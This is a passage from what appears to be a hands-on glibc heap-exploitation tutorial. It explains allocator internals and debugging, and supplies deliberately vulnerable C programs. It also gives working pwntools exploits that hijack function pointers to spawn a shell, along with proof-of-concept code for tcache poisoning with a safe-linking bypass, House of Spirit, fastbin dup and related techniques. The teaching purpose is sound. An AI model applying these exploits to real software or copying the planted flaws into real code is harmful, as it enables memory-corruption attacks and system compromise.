/* Low 3 bits of size field contain flags */
#define PREV_INUSE 0x1 /* Previous chunk is allocated */
#define IS_MMAPPED 0x2 /* Chunk was mmap'd (not from heap) */
#define NON_MAIN_ARENA 0x4 /* Chunk belongs to non-main arena */
/* Real size = size & ~0x7 */
Visual Representation:
Allocated chunk:
┌────────────────┐ ← chunk address
│ prev_size │ (only valid if PREV_INUSE=0)
├────────────────┤
│ size | PMA │ (size + 3 flag bits)
malloc() returns ├────────────────┤ ← user pointer (chunk + 0x10)
here →│ │
│ User Data │
│ │
└────────────────┘
Free chunk (in bins):
┌────────────────┐
│ prev_size │ (size of prev chunk for coalescing)
├────────────────┤
│ size | P A │ (PREV_INUSE usually 0 after free)
├────────────────┤
│ fd (forward) │ ← Points to next chunk in bin
├────────────────┤
│ bk (backward)│ ← Points to prev chunk in bin
├────────────────┤
│ (old user data)│ ← May still contain sensitive data!
└────────────────┘
What happens when you call malloc(24)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Size Calculation │
│ ─────────────────────────────────────────────────────────────── │
│ Request: 24 bytes │
│ + 16 bytes metadata (prev_size + size on 64-bit) │
│ + Alignment to 16 bytes │
│ = Actual chunk size: 48 bytes (0x30) │
│ │
│ Minimum chunk = 32 bytes (0x20) on 64-bit │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Check Tcache (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] → Is there a cached chunk? │
│ │
│ If YES: Pop from tcache (LIFO), return immediately │
│ If NO: Continue to fastbins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Check Fastbins (if size ≤ 0x80 / ~160 bytes) │
│ ─────────────────────────────────────────────────────────────── │
│ fastbins[size_idx] → Is there a free chunk? │
│ │
│ If YES: Pop from fastbin (LIFO), return │
│ If NO: Check small/unsorted/large bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Check Bins (Unsorted → Small → Large) │
│ ─────────────────────────────────────────────────────────────── │
│ Search for best-fit chunk in bins │
│ May split larger chunks if needed │
│ │
│ If found: Return chunk │
│ If not: Extend heap with sbrk()/mmap() │
└─────────────────────────────────────────────────────────────────┘
What happens when you call free(ptr)?
┌─────────────────────────────────────────────────────────────────┐
│ Step 1: Validate Pointer │
│ ─────────────────────────────────────────────────────────────── │
│ - Is ptr aligned? │
│ - Is size reasonable? │
│ - Check for double-free (tcache key in 2.29+) │
│ │
│ If validation fails: abort() or SIGABRT │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 2: Try Tcache First (glibc 2.26+) │
│ ─────────────────────────────────────────────────────────────── │
│ tcache_bins[size_idx] count < 7? │
│ │
│ If YES: Push to tcache (LIFO), done │
│ If NO: Continue to fastbin/regular bins │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 3: Fastbin or Consolidation │
│ ─────────────────────────────────────────────────────────────── │
│ Small chunk (≤0x80)? → Push to fastbin (no coalescing) │
│ Larger chunk? → Try to coalesce with neighbors │
│ → Put in unsorted bin │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Step 4: Coalescing (Consolidation) │
│ ─────────────────────────────────────────────────────────────── │
│ Check PREV_INUSE flag: │
│ If 0: Previous chunk is free → merge backward │
│ │
│ Check next chunk's PREV_INUSE flag: │
│ If 0: Next chunk is free → merge forward │
│ │
│ Update size field of merged chunk │
│ This is where unlink() gets called! (exploit target) │
└─────────────────────────────────────────────────────────────────┘
HEAP BINS OVERVIEW
┌─────────────────────────────────────────────────────────────────┐
│ │
│ TCACHE (glibc 2.26+) - Per-thread, fastest │
│ ═══════════════════════════════════════ │
│ tcache_bins[0] → 0x20 → 0x20 → 0x20 → NULL (max 7 per bin) │
│ tcache_bins[1] → 0x30 → 0x30 → NULL │
│ tcache_bins[2] → NULL │
│ ... → (64 bins total, sizes 0x20-0x410) │
│ │
│ FASTBINS - Small chunks, no coalescing │
│ ════════════════════════════════════════ │
│ fastbins[0] → 0x20 → 0x20 → NULL (singly linked, LIFO) │
│ fastbins[1] → 0x30 → NULL │
│ ... → (up to 0x80 bytes) │
│ │
│ UNSORTED BIN - Recently freed, temp storage │
│ ═══════════════════════════════════════════ │
│ unsorted_bin ⟷ chunk ⟷ chunk ⟷ (circular doubly-linked) │
│ │
│ SMALL BINS - Exact size match (62 bins) │
│ ═══════════════════════════════════════ │
│ small_bins[2] ⟷ 0x20 ⟷ 0x20 ⟷ (doubly linked, FIFO) │
│ small_bins[3] ⟷ 0x30 ⟷ (doubly linked) │
│ ... → (sizes 0x20 - 0x3F0) │
│ │
│ LARGE BINS - Size ranges, sorted (63 bins) │
│ ═══════════════════════════════════════ │
│ large_bins[0] ⟷ 0x400 ⟷ 0x420 ⟷ (sorted by size) │
│ ... → (sizes 0x400+) │
│ │
└─────────────────────────────────────────────────────────────────┘
Essential Commands (Use these constantly!):
# In pwndbg:
pwndbg> heap # Overview of heap state
pwndbg> bins # Show all bins (tcache, fast, unsorted, etc.)
pwndbg> vis_heap_chunks # Visual heap layout (VERY useful!)
pwndbg> malloc_chunk <addr> # Inspect specific chunk
# In GEF:
gef> heap chunks # List all chunks
gef> heap bins # Show bin state
gef> heap arenas # Show arena info
# Watchpoints for debugging
pwndbg> watch *(size_t*)<chunk_addr> # Break when chunk modified
Example Debugging Session:
cd ~/exploit
# Create test program
cat > heap_debug.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() {
char *a = malloc(0x20);
char *b = malloc(0x20);
char *c = malloc(0x20);
printf("a=%p b=%p c=%p\n", a, b, c);
free(a);
free(b);
free(c);
char *d = malloc(0x20); // What happens here?
printf("d=%p\n", d);
return 0;
}
EOF
gcc -g -fcf-protection=none heap_debug.c -o heap_debug
# Debug
gdb ./heap_debug
pwndbg> break 9
pwndbg> break 15
pwndbg> break 17
pwndbg> run
# At breakpoint 1 (after malloc calls):
pwndbg> heap # Show heap info
pwndbg> vis # Visualize heap chunks (or 'heap chunks')
# Continue to breakpoint 2 (after free calls):
pwndbg> c
pwndbg> bins # Show tcache/fastbins
# tcache shows: 0x30 [3]: 0x... → 0x... → 0x...
# Continue to breakpoint 3 (after final malloc):
pwndbg> c
# d gets the LAST freed chunk (LIFO from tcache)
Key Insight for Exploitation:
┌─────────────────────────────────────────────────────────────────┐
│ LIFO Behavior = Predictable Allocation Order │
│ ─────────────────────────────────────────────────────────────── │
│ │
│ If you can: │
│ 1. Free a chunk │
│ 2. Corrupt the freed chunk's fd pointer │
│ 3. malloc() twice │
│ │
│ Then: │
│ - First malloc returns the freed chunk │
│ - Second malloc returns YOUR CONTROLLED ADDRESS! │
│ │
│ This is the basis for: tcache poisoning, fastbin dup │
└─────────────────────────────────────────────────────────────────┘
Vulnerable Program (vuln_heap.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*print_func)(char *);
} User;
void print_user(char *name) {
printf("User: %s\n", name);
}
void admin_function(char *name) {
printf("Admin access granted to %s\n", name);
// Note: system() works here because we're calling it directly via
// function pointer, not via ROP. CET only blocks ROP-style calls.
system("/bin/sh");
}
int main(int argc, char **argv) {
// Allocate two structs
User *user1 = malloc(sizeof(User));
User *user2 = malloc(sizeof(User));
// Initialize
user1->print_func = print_user;
user2->print_func = print_user;
// Vulnerable: read() allows null bytes and has no bounds check!
printf("Enter name: ");
fflush(stdout);
read(0, user1->name, 128); // Buffer is only 32 bytes!
// Call function pointers
user1->print_func(user1->name);
user2->print_func(user2->name);
free(user1);
free(user2);
return 0;
}
Compile (AMD64):
make disabled SOURCE=vuln_heap.c BINARY=vuln_heap
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_heap.c -o vuln_heap
Vulnerability Analysis:
Heap layout after allocations (AMD64):
┌─────────────────────────┐
│ Chunk metadata (user1) │ (16 bytes on AMD64)
├─────────────────────────┤
│ user1->name[32] │ ← strcpy writes here
├─────────────────────────┤
│ user1->print_func (8B) │ ← Can be overwritten!
├─────────────────────────┤
│ Chunk metadata (user2) │
├─────────────────────────┤
│ user2->name[32] │
├─────────────────────────┤
│ user2->print_func (8B) │
└─────────────────────────┘
Overflow scenario:
- read() into user1->name with 40+ bytes
- Overwrites user1->print_func
- Can redirect execution!
- Note: read() allows null bytes (unlike strcpy)!
Exploit Strategy:
user1->name (32 bytes)user1->print_func with address of admin_function
user1->print_func() is called, get shellFind admin_function address:
objdump -d vuln_heap | grep admin_function
# Output: 00000000004011a0 <admin_function>:
# Or in GDB:
gdb ./vuln_heap
(gdb) info functions admin
Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/exploit_heap.py
from pwn import *
binary = './vuln_heap'
elf = ELF(binary)
context.binary = elf # Sets AMD64!
# Find admin_function address
admin_addr = elf.symbols['admin_function']
log.info(f"admin_function @ {hex(admin_addr)}")
# Build payload (AMD64 - use p64!)
# read() allows null bytes unlike strcpy()!
payload = b"A" * 32 # Fill user1->name
payload += p64(admin_addr) # Overwrite user1->print_func (8 bytes!)
# Exploit via stdin (read() handles null bytes)
p = process(binary, stdin=PTY, stdout=PTY)
p.recvuntil(b'Enter name: ')
p.send(payload)
p.interactive()
Test:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap.py
# Admin access granted to AAAAA...
$ id
uid=1000(user) gid=1000(user)
[!NOTE] Why does
system()work here but not in ROP chains?Intel CET (SHSTK/IBT) blocks indirect jumps/calls via corrupted return addresses (ROP). But function pointer overwrites are direct calls - the program legitimately calls through a pointer, which CET allows. This is why heap exploits targeting function pointers still work on modern libc, while stack-based ROP to
system()fails.When CET blocks you:
- ROP chains returning to
system()via stack corruption- ret2libc attacks using gadgets
When CET does NOT block you:
- Function pointer overwrites (heap, GOT if writable)
- Direct control flow hijack to existing functions
- One_gadget (uses internal code paths that satisfy CET)
Unlink Exploit (Classic technique):
Concept:
Vulnerable Code (unlink_vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *a, *b, *c;
// Allocate three chunks
a = malloc(100);
b = malloc(100);
c = malloc(100);
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
// Read input into 'a' (vulnerable)
printf("Enter data: ");
gets(a); // No bounds check!
// Free chunks (triggers unlink)
free(b);
free(a);
// Allocate again (use corrupted metadata)
char *d = malloc(100);
strcpy(d, "Controlled data");
return 0;
}
Exploit Technique:
Modern Protections:
fd->bk == chunk && bk->fd == chunk
Legacy Tcache Poisoning (glibc 2.27-2.31, no safe-linking):
This is the foundational technique to learn before tackling modern bypasses:
/* tcache_poison_legacy.c - Works on glibc < 2.32 (Ubuntu 20.04) */
// make disabled SOURCE=tcache_poison_legacy.c BINARY=tcache_poison_legacy
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
setbuf(stdout, NULL);
uint64_t target = 0;
printf("Target at %p, value: %lu\n", &target, target);
void *a = malloc(0x20);
void *b = malloc(0x20); // Prevent consolidation
printf("Chunk A: %p\n", a);
printf("Chunk B: %p\n", b);
free(a);
// tcache[0x30] -> A -> NULL
// VULNERABILITY: Use-after-free or buffer overflow to corrupt A's fd pointer
// In a real program, this would be via:
// - UAF: writing to freed chunk A
// - Overflow: overflowing from another chunk into A
printf("Enter corruption data (hex address of target - 0x10): ");
char input[32];
fgets(input, sizeof(input), stdin);
// Corrupt the fd pointer of freed chunk A
uint64_t corrupt_addr;
sscanf(input, "%lx", &corrupt_addr);
*(uint64_t*)a = corrupt_addr; // This is the vulnerability!
malloc(0x20); // Returns A
void *c = malloc(0x20); // Returns target!
*(uint64_t*)c = 0xdeadbeef;
printf("Target after: 0x%lx\n", target);
return 0;
}
For testing on Ubuntu 24.04 (glibc 2.39 with safe-linking):
/* tcache_poison_modern.c - Demonstrates safe-linking protection */
// make disabled SOURCE=tcache_poison_modern.c BINARY=tcache_poison_modern
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Demonstrating correct tcache poisoning on glibc 2.39 with safe-linking\n\n");
// Create aligned target on stack
size_t stack_var[0x10];
size_t *target = NULL;
// Find properly aligned target
for(int i = 0; i < 0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
*target = 0; // Initialize
printf("Target address: %p, value: %lu\n", target, *target);
printf("Allocating buffers...\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing buffers to build tcache chain...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
// This is the correct safe-linking formula for glibc 2.39
printf("Corrupting b's fd pointer with safe-linking...\n");
printf("Safe-linking key: 0x%lx (b >> 12)\n", (long)b >> 12);
printf("Target: %p\n", target);
printf("Corrupted value: 0x%lx\n", (long)target ^ ((long)b >> 12));
// VULNERABILITY: Use-after-free to corrupt fd pointer
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
printf("Now the tcache list has [ %p -> %p ].\n", b, target);
printf("Draining tcache:\n");
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
if ((long)target == (long)c) {
printf("SUCCESS! We got control of %p\n", c);
*c = 0xdeadbeef;
printf("Target value after corruption: 0x%lx\n", *target);
printf("tcache poisoning successful!\n");
} else {
printf("Failed. Expected %p, got %p\n", target, c);
}
return 0;
}
Why This Works (glibc 2.39 safe-linking bypass):
Before corruption: After corruption:
tcache[0x80] → B → A → NULL tcache[0x80] → B → TARGET
Key derivation: Safe-linking formula:
key = chunk_addr >> 12 corrupted_fd = target ^ (chunk >> 12)
malloc(128): malloc(128):
Returns B, tcache → A Returns B, tcache → TARGET
malloc(128): malloc(128):
Returns A Returns TARGET! (arbitrary alloc)
Critical Requirements for glibc 2.39+:
key = chunk_address >> 12 (simple right shift)Real-World Impact:
Key Changes in Modern glibc:
| Version | Change | Impact | Ubuntu Version |
|---|---|---|---|
| 2.32+ | Tcache pointer XOR (safe-linking) | XOR key from chunk addr (chunk_addr >> 12) | 22.04+ |
| 2.34+ | __malloc_hook removed |
Hook overwrite attacks dead | 22.04+ |
| 2.35+ | Enhanced tcache key checks | Double-free detection improved | 23.04+ |
| 2.37+ | global_max_fast type change |
Fastbin size attacks limited | 23.10+ |
| 2.38+ | _IO_list_all checks tightened |
FSOP attacks significantly harder | 24.04+ |
| 2.39+ | Additional largebin checks | Largebin attack constraints | 24.04 |
Safe-Linking Explained (glibc 2.32+):
Safe-linking protects singly-linked list pointers (tcache and fastbin) using XOR mangling:
// ACTUAL glibc 2.39 formula (simplified):
// stored_fd = (chunk_address >> 12) XOR target_pointer
// To decode: target = stored_fd XOR (chunk_address >> 12)
// In our working example:
key = chunk_b_address >> 12 // Simple right shift by 12
corrupted_fd = target_address ^ key // XOR with target
Bypassing Safe-Linking (working method for glibc 2.39):
# Step 1: Get chunk address (from freed chunk you control)
chunk_addr = 0x1976c330 # Address of chunk B in our example
# Step 2: Calculate XOR key (simple right shift!)
xor_key = chunk_addr >> 12 # 0x1976c330 >> 12 = 0x1976c
# Step 3: Forge tcache entry pointing to target
target_addr = 0x7ffda6be06e0 # Our aligned stack target
fake_fd = target_addr ^ xor_key # 0x7ffda6be06e0 ^ 0x1976c
# Step 4: Write fake_fd to freed chunk's fd field
chunk_b[0] = fake_fd # Use-after-free corruption
# Step 5: malloc() twice - second returns target!
malloc(128) # Returns chunk B
malloc(128) # Returns our target address!
Key Insights from Working Implementation:
chunk_addr >> 12, not complex heap base calculations[!NOTE]
Exception:tcache_perthread_structcounts are NOT protected by safe-linking!
This enables advanced techniques like House of Water for leakless attacks.
Modern Techniques Still Working:
tcache_perthread_struct
Practicing Classic Heap Techniques (Docker Setup):
For learning classic heap exploitation without modern hardening:
# Docker container with older glibc for learning
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
ubuntu:20.04 /bin/bash
# Inside container:
apt update && apt install -y build-essential gdb python3-pip
pip3 install pwntools
# Check glibc version
ldd --version
# 2.31 - no safe-linking, hooks still exist!
Patchelf for Specific glibc Versions:
# Download specific glibc version
# https://libc.rip/ or https://github.com/matrix1001/glibc-all-in-one
# Patch binary to use older libc
patchelf --set-interpreter ./ld-2.31.so --set-rpath . ./vulnerable
# Now binary uses your specified glibc
Setup:
# Clone how2heap for examples
cd ~/tuts
git clone --depth 1 https://github.com/shellphish/how2heap
cd how2heap
# Compile examples
make v$(ldd --version | head -1 | awk '{print $NF}')
Success Criteria:
__malloc_hook: Can't use hook overwrites anymore (2.34+)-no-pie -Wl,-z,norelro for easier practiceheap and bins commands constantlyldd --version) and which how2heap example(s) you usedUAF is a type of vulnerability; tcache/fastbin poisoning is the technique to exploit it.
Classic UAF Pattern:
// 1. Allocate object with function pointer
Object *obj = malloc(sizeof(Object));
obj->callback = normal_func;
// 2. Free the object (but keep the pointer)
free(obj);
// obj is now a DANGLING POINTER
// 3. Allocate new object of same size (gets same memory)
Evil *evil = malloc(sizeof(Evil));
evil->fake_callback = shell_func;
// 4. Use the dangling pointer (calls attacker's function!)
obj->callback(); // BOOM - calls shell_func
UAF Heap Feng Shui:
The key to reliable UAF exploitation is controlling what gets allocated in the freed memory.
Heap Feng Shui Strategy:
═══════════════════════════════════════════════════════════════════
Step 1: Understand allocation sizes
Target object: 0x40 bytes (User struct)
Attacker input: Can we create a 0x40 byte allocation?
Step 2: Prime the heap
- Free target object
- Ensure tcache/fastbin has space
Step 3: Spray controlled data
- Allocate objects of same size class
- Fill with attacker-controlled content
Step 4: Trigger UAF
- Use dangling pointer
- Access now-controlled memory
Interactive UAF Target (vuln_uaf.c):
// ~/exploit/vuln_uaf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char name[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *spray_buf = NULL;
void normal_func(void) {
printf("Normal callback executed\n");
}
void admin_func(void) {
printf("Admin function triggered! Spawning shell...\n");
system("/bin/sh");
}
void menu(void) {
printf("\n1. create\n2. delete\n3. use\n4. spray\n5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (strncmp(cmd, "create", 6) == 0 || cmd[0] == '1') {
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("name: ");
fflush(stdout);
read(0, obj->name, 31);
printf("Object created at %p\n", obj);
}
else if (strncmp(cmd, "delete", 6) == 0 || cmd[0] == '2') {
if (obj) {
free(obj);
// BUG: obj not set to NULL - dangling pointer!
printf("Object freed (but pointer kept!)\n");
}
}
else if (strncmp(cmd, "use", 3) == 0 || cmd[0] == '3') {
if (obj) {
printf("Calling callback...\n");
obj->callback(); // UAF: uses freed memory!
}
}
else if (strncmp(cmd, "spray", 5) == 0 || cmd[0] == '4') {
// Allocate same size as Object to reclaim freed chunk
spray_buf = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, spray_buf, sizeof(Object));
printf("Spray allocated at %p\n", spray_buf);
}
else if (strncmp(cmd, "exit", 4) == 0 || cmd[0] == '5') {
break;
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=vuln_uaf.c BINARY=vuln_uaf
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln_uaf.c -o vuln_uaf
Complete UAF Exploit Example:
#!/usr/bin/env python3
# ~/exploit/exploit_uaf.py
"""
UAF Exploit demonstrating heap feng shui
Target: vuln_uaf with create/delete/use/spray commands
"""
from pwn import *
context.arch = 'amd64'
binary = './vuln_uaf'
elf = ELF(binary)
def create(p, name):
p.sendlineafter(b'> ', b'1')
p.sendafter(b'name: ', name)
def delete(p):
p.sendlineafter(b'> ', b'2')
def use(p):
p.sendlineafter(b'> ', b'3')
def spray(p, data):
"""Allocate same-size chunk with controlled data"""
p.sendlineafter(b'> ', b'4')
p.sendafter(b'data: ', data)
def exploit():
p = process(binary)
# Find target function
win = elf.symbols['admin_func']
log.info(f"admin_func @ {hex(win)}")
# Step 1: Create legitimate object
create(p, b'AAAA')
# Step 2: Free it (creates dangling pointer)
delete(p)
# Step 3: Spray to reclaim freed memory
# Object struct: char name[32] + void (*callback)(void)
payload = b'X' * 32 # Fill name field
payload += p64(win) # Overwrite callback pointer
spray(p, payload)
# Step 4: Use dangling pointer (calls our controlled callback)
use(p)
p.interactive()
if __name__ == '__main__':
exploit()
Test:
cd ~/exploit
python3 exploit_uaf.py
Test Results:
[+] Starting local process './vuln_uaf': pid 2308
[*] admin_func @ 0x4011bc
[*] Switching to interactive mode
Calling callback...
Admin function triggered! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$ exit
Exploit Success:
admin_func found at static address 0x4011bc (No PIE)Why This Works:
obj pointer isn't NULLed after free(), creating a dangling pointerspray() allocates same-sized chunk (sizeof(Object)) that reclaims freed memorycallback pointer with admin_func addressuse() calls obj->callback() which now points to attacker-controlled functionNo PIE, so admin_func address is staticKey Insight: UAF exploitation is about controlling what gets allocated in freed memory and then using the dangling pointer to access attacker-controlled data.
Key insight from malloc.c: tcache_put() is called without checking if next chunk's size and prev_inuse are sane (search for "invalid next size" and "double free or corruption" - those checks are bypassed).
// ~/exploit/tcache_house_of_spirit.c
// Fake chunk free without next chunk validation
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
malloc(1); // Initialize heap
// Fake chunk region on stack (must be 16-byte aligned!)
unsigned long long fake_chunks[10] __attribute__((aligned(0x10)));
/* Requirements for fake chunk:
* 1. Size must be tcache range: chunk.size <= 0x410 (malloc arg <= 0x408)
* 2. PREV_INUSE (bit 0): ignored by tcache free
* 3. IS_MMAPPED (bit 1): must be 0 (causes problems)
* 4. NON_MAIN_ARENA (bit 2): must be 0 (causes problems)
* 5. Region must be 16-byte aligned
*/
fake_chunks[1] = 0x40; // Size field (0x30-0x38 requests round to 0x40)
printf("Fake chunk size at: %p\n", &fake_chunks[1]);
printf("Fake chunk data at: %p\n", &fake_chunks[2]);
// Simulate pointer overwrite vulnerability
unsigned long long *a = &fake_chunks[2]; // Points to "user data" of fake chunk
// Free the fake chunk - goes to tcache without validation!
free(a);
// Next malloc of matching size returns our fake region
void *b = malloc(0x30);
printf("malloc(0x30) returned: %p\n", b);
assert((long)b == (long)&fake_chunks[2]);
printf("SUCCESS: Got allocation in fake chunk region!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_house_of_spirit.c -o tcache_house_of_spirit
./tcache_house_of_spirit
Test Results:
Fake chunk size at: 0x7ffea7295d98
Fake chunk data at: 0x7ffea7295da0
malloc(0x30) returned: 0x7ffea7295da0
SUCCESS: Got allocation in fake chunk region!
Attack Success:
0x7ffea7295d98 (size field)0x7ffea7295da0 (8 bytes later due to chunk header)malloc(0x30) returns our fake chunk data areaWhy This Works:
free() doesn't validate the next chunk's size fieldfake_chunks[1], no complex metadataa = &fake_chunks[2] points to "user data" area of fake chunk__attribute__((aligned(0x10))) ensures 16-byte alignment for modern glibcWarning Explained: The compiler warning is expected - we're intentionally freeing stack memory as a fake chunk, which is the whole point of the attack!
Why Tcache House of Spirit is Easier:
| Aspect | Original (Fastbin) | Tcache Version |
|---|---|---|
| Next chunk validation | Required | Not needed |
| Size constraints | Fastbin range only | Up to 0x410 |
| Complexity | Must craft 2 fake chunks | Only 1 fake chunk |
| glibc version | Works on older | Works on 2.41 |
Attack Pattern:
// ~/exploit/tcache_metadata_poisoning.c
// Direct metadata control for arbitrary allocation
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#define TCACHE_BINS 64
#define HEADER_SIZE 0x10
struct tcache_metadata {
uint16_t counts[TCACHE_BINS]; // Number of chunks per bin
void *entries[TCACHE_BINS]; // Head of each bin
};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
uint64_t stack_target[4] __attribute__((aligned(0x10)));
stack_target[0] = 0x1337;
printf("Target on stack: %p\n\n", stack_target);
// Initialize heap and find metadata
uint64_t *victim = malloc(0x10);
printf("Victim chunk: %p\n", victim);
// Metadata is at start of heap page
struct tcache_metadata *metadata =
(struct tcache_metadata *)((long)victim - HEADER_SIZE - sizeof(struct tcache_metadata));
printf("Tcache metadata: %p\n\n", metadata);
// VULNERABILITY: Direct write to metadata
// Insert target into bin 1 (0x20 size class)
metadata->counts[1] = 1;
metadata->entries[1] = stack_target;
// Allocate from bin 1
uint64_t *evil = malloc(0x20);
printf("Got allocation at: %p\n", evil);
assert(evil == stack_target);
printf("SUCCESS: Arbitrary allocation achieved!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_metadata_poisoning.c -o tcache_metadata_poisoning
./tcache_metadata_poisoning
Test Results:
Target on stack: 0x7ffd375a38c0
Victim chunk: 0x28d522a0
Tcache metadata: 0x28d52010
Got allocation at: 0x7ffd375a38c0
SUCCESS: Arbitrary allocation achieved!
Attack Success:
0x7ffd375a38c0 (16-byte aligned)0x28d522a0 used to locate metadata0x28d52010 (start of heap page)malloc(0x20) returned stack address - arbitrary allocation achieved!Why This Works:
counts[1] and entries[1] directlymalloc(0x20) returns controlled address// ~/exploit/tcache_poisoning_safelink.c
// Modern tcache poisoning requires heap leak for safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target must be 16-byte aligned!
size_t stack_var[0x10];
size_t *target = NULL;
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("Target (aligned): %p\n", target);
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
printf("a: %p, b: %p\n", a, b);
free(a);
free(b);
// tcache: b -> a -> NULL
// VULNERABILITY: Corrupt b's next pointer
// Must XOR with (chunk_addr >> 12) for safe-linking bypass
b[0] = (intptr_t)((long)target ^ ((long)b >> 12));
malloc(128); // Returns b
intptr_t *c = malloc(128); // Returns target!
printf("Got control at: %p\n", c);
assert((long)target == (long)c);
printf("SUCCESS: Tcache poisoning with safe-linking bypass!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro tcache_poisoning_safelink.c -o tcache_poisoning_safelink
./tcache_poisoning_safelink
Test Results:
Target (aligned): 0x7ffda554a440
a: 0x2b5992a0, b: 0x2b599330
Got control at: 0x7ffda554a440
SUCCESS: Tcache poisoning with safe-linking bypass!
Attack Success:
0x7ffda554a440
a at 0x2b5992a0 and b at 0x2b599330 allocatedb -> a -> NULL
target ^ (b >> 12) written to b[0]
malloc(128) returned our stack target!Why This Works:
(chunk_addr >> 12) defeats pointer protectionModern Double Free via Fastbin:
// ~/exploit/fastbin_dup.c
// Modern version requiring tcache fill + safe-linking bypass
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main() {
setbuf(stdout, NULL);
// Must fill tcache first (7 chunks for 0x30 size class)
void *tcache[7];
for(int i = 0; i < 7; i++) {
tcache[i] = malloc(0x20);
}
void *a = malloc(0x20);
void *b = malloc(0x20); // Separator chunk
printf("a: %p\n", a);
printf("b: %p\n", b);
// Fill tcache
for(int i = 0; i < 7; i++) {
free(tcache[i]);
}
// Now chunks go to fastbin (tcache full)
free(a);
free(b); // fastbin: b -> a -> NULL
free(a); // Double free! fastbin: a -> b -> a -> (cycle!)
// Empty tcache first
for(int i = 0; i < 7; i++) {
malloc(0x20);
}
// Now allocations come from fastbin
void *c = malloc(0x20); // Gets 'a'
void *d = malloc(0x20); // Gets 'b'
void *e = malloc(0x20); // Gets 'a' AGAIN!
printf("c: %p\n", c);
printf("d: %p\n", d);
printf("e: %p\n", e);
// c and e point to same memory!
assert(c == e);
printf("SUCCESS: c == e (double allocation of same memory!)\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_dup.c -o fastbin_dup
./fastbin_dup
Test Results:
a: 0x22c663f0
b: 0x22c66420
c: 0x22c663f0
d: 0x22c66420
e: 0x22c663f0
SUCCESS: c == e (double allocation of same memory!)
Attack Success:
a at 0x22c663f0, b at 0x22c66420
a -> b -> a
c gets a, d gets b, e gets a again!c and e point to same memoryWhy This Works:
// ~/exploit/house_of_botcake.c
// Bypass tcache double-free detection
// Trick: Free chunk to unsorted bin, consolidate, then free to tcache
// Result: Same memory in both unsorted bin and tcache!
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// Target MUST be 16-byte aligned for modern glibc!
intptr_t stack_var[4] __attribute__((aligned(0x10)));
memset(stack_var, 0, sizeof(stack_var));
printf("Target on stack: %p\n\n", stack_var);
// Allocate 7 chunks to fill tcache later
intptr_t *x[7];
for(int i = 0; i < 7; i++) x[i] = malloc(0x100);
// Allocate victim and prev (will consolidate)
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
